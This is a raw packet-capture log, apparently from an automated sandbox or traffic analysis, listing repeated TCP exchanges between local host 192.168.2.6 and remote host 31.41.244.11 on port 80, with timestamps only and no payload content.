Nov 23, 2024 13:28:16.514472008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.515331030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.515382051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.515476942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.515522957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.516355991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.516407013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.516434908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.516484022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.517292976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.517366886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.517400026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.517493010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.518264055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.518336058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.518389940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.518553019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.519273996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.519340992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.519375086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.519438982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.520239115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.520294905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.520351887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.520406961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.521222115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.521315098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.521320105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.521473885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.522197962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.522274017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.522303104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.522351980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.523195982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.523299932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.523332119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.523345947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.524200916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.524254084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.524286985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.524394989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.525158882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.525209904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.525887012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.525957108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.526159048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.526252031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.526283026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.526334047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.527162075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.527230024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.527276039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.527338028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.528136969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.528213978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.528278112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.528330088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.529141903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.529196024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.529247046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.529295921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.530164957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.530220985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.530240059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.530301094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.531105995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.531172037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.531222105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.531282902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.532114983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.532171965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.532201052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.532247066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.533037901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.533116102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.533166885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.533214092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.534073114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.534126997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.534168959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.534185886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.535036087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.535082102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.535118103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.535181999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.536004066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.536084890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.536199093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.536263943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.537003040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.537060976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.537111044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.537111044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.537962914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.538017035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.538079023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.538198948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.538947105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.539067030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.539088964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.539144039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.539921045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.539972067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.540060997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.540141106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.540940046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.540993929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.541079044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.541137934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.541913033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.542047977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.542103052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.542103052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.542884111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.542948008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.543019056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.543072939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.543865919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.543926954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.544007063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.544109106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.544868946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.544940948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.545007944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.545078993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.545844078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.545901060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.545949936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.546015024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.546828985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.546933889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.546956062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.547003031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.547807932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.547853947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.547933102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.547995090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.548789978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.548841000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.548907995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.548958063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.549803019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.549859047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.549910069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.549973965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.550748110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.550817013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.550878048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.550924063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.551765919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.551851034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.551879883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.551944017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.552705050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.552756071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.552838087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.552890062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.553705931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.553754091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.553761959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.553819895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.554860115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.554940939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.554986000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.555036068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.555670023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.555746078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.555794954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.555855989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.556644917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.556744099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.556781054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.556834936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.557645082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.557745934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.557769060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.557934046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.558626890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.558687925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.558747053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.558811903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.559675932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.559712887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.559731007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.559788942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.560601950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.560678959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.560715914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.560766935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.561572075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.561619043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.561681986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.561745882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.562572002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.562606096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.562654972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.562654972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.563551903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.563599110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.563622952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.563832045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.714349985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.714396954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.714555979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.714555979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.714785099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.714859009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.714920044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.715051889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.715723991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.715853930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.715853930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.715922117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.716695070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.716773987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.716854095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.716917038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.717715979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.717772961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.717817068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.717870951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.718673944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.718758106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.718796015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.718883991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.719676018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.719789982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.719850063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.719851017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.720655918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.720704079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.720772028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.720839024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.721613884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.721734047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.721821070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.722604990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.722735882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.722745895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.722814083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.723592043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.723692894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.723711014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.723783970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.724838972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.724930048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.724997997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.725085020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.725563049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.725620985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.725688934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.725752115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.726548910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.726607084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.726648092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.726701021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.727559090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.727612972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.727680922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.727732897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.728530884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.728609085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.728641033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.728660107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.729505062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.729582071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.729631901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.729687929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.730489969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.730542898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.730612040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.730683088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.731499910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.731596947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.731642962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.731702089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.732446909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.732496023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.732563019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.732642889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.733454943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.733570099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.733580112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.733639956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.734509945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.734637022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.734642982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.734729052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.735398054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.735516071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.735522985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.735590935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.736418009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.736613989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.736625910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.736749887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.737365007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.737468004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.737494946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.737552881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.738359928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.738447905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.738495111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.738550901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.739396095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.739451885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.739501953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.739578009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.740325928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.740425110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.740443945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.740509987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.741319895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.741374016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.741375923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.741425991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.742291927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.742347002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.742355108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.742415905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.743282080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.743335962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.743395090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.743514061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.744287968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.744363070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.744410038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.744467974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.745260000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.745357037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.745395899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.745460987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.746212959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.746387959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.746424913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.746503115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.747282982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.747339964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.747417927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.747503996 CET	49729	80	192.168.2.6	31.41.244.11
